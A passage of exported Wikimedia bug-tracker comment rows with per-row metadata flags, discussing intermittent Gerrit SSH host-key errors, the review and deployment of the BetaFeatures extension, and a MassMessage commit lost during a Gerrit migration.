+Looking at Zuul debugging log on gallium.wikimedia.org it is a different issue. Filled another bug 59991 for it. Seems to be an issue in the python git module.",,,1389609979,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,28,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+245994,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',Is this related: https://gerrit.wikimedia.org/r/#/c/107036/ ?,,,1389538078,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,27,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0
+245992,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Also got one today in command line.
+
+FYI: the -1s in Jenkins caused by this are very confusing.",,,1387292272,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,24,,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245990,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"That does happen once or two per day on Zuul. Usually ""hash mismatch"" errors though we had some host key verification failed on Nov 20th.",,,1387290809,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,24,,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+245988,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',*** Bug 57483 has been marked as a duplicate of this bug. ***,,,1387290750,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,24,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245985,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"(In reply to comment #7)
+> Just happened to me w/operations/puppet.
+> 
+> $ git pull
+> hash mismatch
+> key_verify failed for server_host_key
+> fatal: Could not read from remote repository.
+> 
+> Please make sure you have the correct access rights
+> and the repository exists.
+
+We see similar errors very regularly when updating 600 or so extension repos at translatewiki.net. I'm pretty certain that we have the correct access rights with L10n-bot, have the correct access rights at the local machine, and have consistent scripting up update the repos.
+
+A run I did just now resulted in the following errors:
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch origin
+/resources/siebrand/mediawiki-extensions/extensions/CategoryMagicWords failed to update
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch origin
+/resources/siebrand/mediawiki-extensions/extensions/ReplaceSet failed to update
+
+Just to make sure that it wasn't me configuring the two above repos incorrectly, I ran the updates again. This time with the following result:
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch origin
+/resources/siebrand/mediawiki-extensions/extensions/DidYouKnow failed to update
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch gerrit
+/resources/siebrand/mediawiki-extensions/extensions/FormatDates failed to update
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch gerrit
+/resources/siebrand/mediawiki-extensions/extensions/GoogleDocTag failed to update
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch origin
+/resources/siebrand/mediawiki-extensions/extensions/InviteSignup failed to update
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch origin
+/resources/siebrand/mediawiki-extensions/extensions/LightweightRDFa failed to update
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch origin
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch gerrit
+/resources/siebrand/mediawiki-extensions/extensions/Numbertext failed to update
+
+/resources/siebrand/mediawiki-extensions/extensions/NumberOfWikis failed to update
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch gerrit
+/resources/siebrand/mediawiki-extensions/extensions/PageLanguage failed to update
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch origin
+/resources/siebrand/mediawiki-extensions/extensions/SidebarDonateBox failed to update
+
+hash mismatch
+key_verify failed for server_host_key
+fatal: The remote end hung up unexpectedly
+error: Could not fetch gerrit
+/resources/siebrand/mediawiki-extensions/extensions/UserStatus failed to update
+
+Permission denied (publickey).
+fatal: The remote end hung up unexpectedly
+error: Could not fetch gerrit
+/resources/siebrand/mediawiki-extensions/extensions/VersionView failed to update
+
+
+
+To compare, when updating repos on localhost form GitHub, I've not seen a similar error once.",,,1381404334,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,14,,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+245981,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Just happened to me w/operations/puppet.
+
+$ git pull
+hash mismatch
+key_verify failed for server_host_key
+fatal: Could not read from remote repository.
+
+Please make sure you have the correct access rights
+and the repository exists.",,,1381388510,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+245975,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',(Worked for me when I tried again),,,1380186401,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+245968,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Several reports of this in the last few days. Reporters include Krenair, YuviPanda, and Krinkle.",,,1380186331,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,12,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245960,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',Still seeing this error randomly.,,,1379791842,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0
+245951,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"(In reply to comment #2)
+> We changed IP addresses when moving servers (shouldn't have to ever happen
+> again), so please check your known_hosts for any outdated entries that you
+> can remove.
+
+How can I identify outdated entries? There are no IP addresses in known_hosts. Sample entry:
+
+ |1|umKi+qzw6pf8uXi/Z6/KtqlisCw=|YFoX/CdDjXhcVUVJ803EiP9nyro= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA2JmNg8ir9QvWwmS/C2k0PEqty1O26D0Nq24YGKC5jq1cr/0a92Pk7wa9FMMM/2O88bbe6rXZUPBKzDX1vVtYD+5vR4/c1XTnHWlNJ9sd6xSYjHhznqYs81VnjGMCLMPV1GhlIfUZsnQ+
+w1FaQUvJe39TEtwADA7ZOFAfT0M/Oqk=",,,1378769029,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+245945,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"So, this sounds like you've got an old entry in your known_hosts files pointing to the old box.
+
+We changed IP addresses when moving servers (shouldn't have to ever happen again), so please check your known_hosts for any outdated entries that you can remove.",,,1378764890,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+245939,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',We retained the same key for exactly this reason...,,,1378611129,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+55865,Review and deploy BetaFeatures extension,"The Multimedia team has come up with this framework, wrapped in an extension, for experimental features. It's part of our rollout plan to get it on test2 and mediawiki.org, so we can also start deploying extensions that use its framework.
+
+VisualEditor, Multimedia, Mobile, and E2 are all planning on using this framework in the coming quarter to gate features they aren't ready to release on an opt-out basis.
+
+Please review for security and performance (in particular the update jobs for user counts may be tricky for the latter) and add it to the extensions enabled on mediawiki.org and test2.
+
+Thanks!
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://www.mediawiki.org/wiki/Extension:BetaFeatures",High,80.0,1378504020,1384542962.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_description,resolved,True,c1,3,True,False,False,9,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+244040,Review and deploy BetaFeatures extension,"We deployed to MediaWiki.org already. We were trying to deploy VectorBeta yesterday, but as you said, it crapped out - hence, bug 55749 stays open but this one got closed (and should have been closed much earlier)",,,1384542962,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,19,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+244034,Review and deploy BetaFeatures extension,"Because this was supposed to happen yesterday, but the servers crapped themselves. I think the new deployment date is Monday.",,,1384509314,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,19,,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+244029,Review and deploy BetaFeatures extension,Why is this bug marked fixed?,,,1384493719,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0
+244026,Review and deploy BetaFeatures extension,Ready to deploy.,,,1383178559,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+244019,Review and deploy BetaFeatures extension,"Adding dependencies - we're not deploying BF until the three listed extensions are also deployable. We're hoping that'll happen by Thursday morning.
+
+AWAY!!!!",,,1382980087,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+244011,Review and deploy BetaFeatures extension,"Security fixes in https://gerrit.wikimedia.org/r/86023 should close the review portion of this bug - ready for deployment.
+
+We'll discuss deployment strategy after that patch is merged and we have a better idea of what we want out of it.",,,1380139390,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0
+244005,Review and deploy BetaFeatures extension,"Design review is done - security review only remaining review.
+
+== TODO/Check list ==
+Extension page on mediawiki.org: yes 
+Bugzilla component: yes
+Extension in Gerrit: yes
+Design Review: yes
+Archeticecture/Performance Review: yes
+Security Review: no
+Screencast (if applicable): N/A
+Community support: I believe so",,,1379978838,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+243999,Review and deploy BetaFeatures extension,"Reedy did architecture/performance review. Chris will be doing security review sometime early next week. Design review is being finalized as we speak.
+
+We'll be rolling this out in tandem with a bunch of other changes, so the deployment won't happen right away, and it will happen in stages (like Notifications, basically).",,,1379703244,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+243993,Review and deploy BetaFeatures extension,"Hello, this is a quasi-automated-but-not-really message:
+
+I am reviewing all tracking bugs for extensions to review and deploy to WMF servers. See the list here:
+https://bugzilla.wikimedia.org/showdependencytree.cgi?id=31235&hide_resolved=1
+
+The [[mw:Review queue]] page lists the steps necessary to complete the review. I have copied them below and done some initial filling out based on what I can easily gleen from this bug and any linked to sources that are obvious. If I miss something/state something false, please do correct me.
+
+Also, if you haven't yet done so, please review the information on and linked to from:
+https://www.mediawiki.org/wiki/Writing_an_extension_for_deployment
+
+
+== TODO/Check list ==
+Extension page on mediawiki.org: yes 
+Bugzilla component: yes
+Extension in Gerrit: yes
+Design Review: yes
+Archeticecture/Performance Review: no
+Security Review: no
+Screencast (if applicable): no
+Community support: I believe so",,,1378507279,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,False,,,9,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,0,1,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+55836,Commit missing from mediawiki/exentions/MassMessage repo,"https://gerrit.wikimedia.org/r/#/c/82796/ - sha1: 8587e2e4b4f90ca9cdba0f39e647b235921a5ae8
+
+Missing on git.wm.o, gerrit, github:
+
+https://git.wikimedia.org/summary/mediawiki%2Fextensions%2FMassMessage.git
+
+https://github.com/wikimedia/mediawiki-extensions-MassMessage/commits/master 
+
+km-mpb:~ km$ git clone ssh://legoktm@gerrit.wikimedia.org:29418/mediawiki/extensions/MassMessage.git
+Cloning into 'MassMessage'...
+[snipped]
+Checking connectivity... done
+km-mpb:~ km$ cd MassMessage/
+km-mpb:MassMessage km$ git log --oneline
+85283ca Localisation updates from http://translatewiki.net.
+b9ccd1c Autocomplete suggestions for spamlist input
+3027dc6 Localisation updates from http://translatewiki.net.
+8d106e1 Localisation updates from http://translatewiki.net.
+[snipped]
+
+Luckily this is a pretty minor change, so I can re-do it, but it really shouldn't have disappeared in the first place...
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major",High,80.0,1378444620,1378697343.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-gendcsutkyq5czjdhhzy,task_description,resolved,True,c1,3,False,False,True,9,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+242282,Commit missing from mediawiki/exentions/MassMessage repo,"
+
+*** This bug has been marked as a duplicate of bug 53841 ***",,,1378697343,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,True,,,10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+242278,Commit missing from mediawiki/exentions/MassMessage repo,"(In reply to comment #7)
+> (In reply to comment #6)
+> > I don't think my issue is the same since the commit is missing from both the
+> > web viewers on git.wm.o and github.
+> > 
+> > I'm not sure I've hardcoded an IP anywhere, I just use gerrit.wikimedia.org
+> > when cloning.
+> 
+> So what happened here was the change was merged without a merge commit. Will
+> require some manual wrangling one way or the other to fix.
+
+Maybe I'm misunderstanding, but the commit was merged just fine. It didn't need a merge commit since at the time, it was directly on top of the current HEAD. It was replicated to github fine, and I pulled locally using my gerrit remote. When the upgrade happened it vanished. At that point, it was missing from gerrit.wm.o, but it was still visible on github, until the l10n-bot updated the translations, off of the HEAD on gerrit, which was (force?) pushed to github and overrode the ""fix typo"" commit.",,,1378504584,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+242275,Commit missing from mediawiki/exentions/MassMessage repo,"(In reply to comment #6)
+> I don't think my issue is the same since the commit is missing from both the
+> web viewers on git.wm.o and github.
+> 
+> I'm not sure I've hardcoded an IP anywhere, I just use gerrit.wikimedia.org
+> when cloning.
+
+So what happened here was the change was merged without a merge commit. Will require some manual wrangling one way or the other to fix.",,,1378499305,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+242272,Commit missing from mediawiki/exentions/MassMessage repo,"I don't think my issue is the same since the commit is missing from both the web viewers on git.wm.o and github.
+
+I'm not sure I've hardcoded an IP anywhere, I just use gerrit.wikimedia.org when cloning.",,,1378498136,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+242268,Commit missing from mediawiki/exentions/MassMessage repo,"To the original reporter: can you confirm the IP address you are using for gerrit.wikimedia.org?  That would let us figure out if you have the same issue I was having, or a different one.",,,1378494665,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+242263,Commit missing from mediawiki/exentions/MassMessage repo,Mea culpa -- my bug (in comment 2) was caused by an out-of-date entry for gerrit.wikimedia.org in my /etc/hosts file.  =(,,,1378494584,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+242258,Commit missing from mediawiki/exentions/MassMessage repo,"(In reply to comment #2)
+> This breakage seems to be a side-effect of the gerrit migration.  For me,
+> 
+> $ git clone
+> https://gerrit.wikimedia.org/r/p/mediawiki/extensions/VisualEditor
+> $ cd VisualEditor ; git log --oneline -1
+> feff1fb Merge ""Improve welcome dialog support for large fonts""
+> 
+I can't reproduce. I get
+47545a5 Remove no-insertion metadata corner case from `ve.dm.Transaction.pushReplace()`.
+
+as expected.",,,1378490942,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+242248,Commit missing from mediawiki/exentions/MassMessage repo,"This breakage seems to be a side-effect of the gerrit migration.  For me,
+
+$ git clone https://gerrit.wikimedia.org/r/p/mediawiki/extensions/VisualEditor
+$ cd VisualEditor ; git log --oneline -1
+feff1fb Merge ""Improve welcome dialog support for large fonts""
+
+versus
+
+$ git clone https://git.wikimedia.org/git/mediawiki/extensions/VisualEditor.git
+$ cd VisualEditor ; git log --oneline -1
+47545a5 Remove no-insertion metadata corner case from `ve.dm.Transaction.pushReplace()`
+
+
+Note that https://git.wikimedia.org/summary/mediawiki%2Fextensions%2FVisualEditor shows the latter commit, but 'git review -s ; git log gerrit/master' shows the former.",,,1378483919,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0
+242238,Commit missing from mediawiki/exentions/MassMessage repo,"Eventhough the WebUI shows the change as having status 'Merged', the
+change cannot be fetched directly:
+
